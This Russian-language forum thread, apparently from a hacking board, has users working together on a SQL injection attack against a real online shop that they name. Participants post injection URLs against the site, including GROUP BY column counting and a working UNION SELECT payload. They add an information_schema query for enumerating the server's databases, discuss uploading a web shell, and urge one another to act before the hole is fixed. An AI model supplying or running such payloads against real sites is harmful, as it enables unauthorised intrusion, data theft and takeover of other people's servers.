Подбор столбцов

Здравствуйте, у меня такой вопрос, есть уязвимость пример такой:
http://www.aktivsb.ru/free-delivery.php?id=23
Подобрал количество столбцов т.е:
http://www.aktivsb.ru/free-delivery.php?id=-23+Group+by+1,2,3,4,5,6,7,8--
А как мне узнать дальше названия таблиц и колонок? Каким запросом??

 

https://forum.antichat.ru/threads/43966/ - SQL injection, полный FAQ

 

По той схеме с information_shema нечего не выводится

 

information_shema идет только в 5-ых версиях и выше, если у вас 4 то брутте таблици

 

У меня выше версия чем 5

 

В таком случае должно всё выводиться.

 

Мы уже в ПМ разобрали этот вопрос....

 

А как залить shell через адресную строку?

 

Почитайте статью, что вам выше скинул, там все популярно расписано...

 

http://www.aktivsb.ru/free-delivery.php?id=-23+UnIon+SeLecT+1,223232,3131313,4,56543+--+-

Скоро могут пофиксить, так что быстрее

 

От души=) подскажи пожалуйста а как мне вывести все БД с сервера, там же полюбому не одна? Буду очень благодарен!!!)

 

select schema _name from information_schema.schemata limit 1,1

 

Тогда ты что то не так делаешь. Всё должно получаться. Сам не днях делал.

 

Спасибо, самый дельный совет.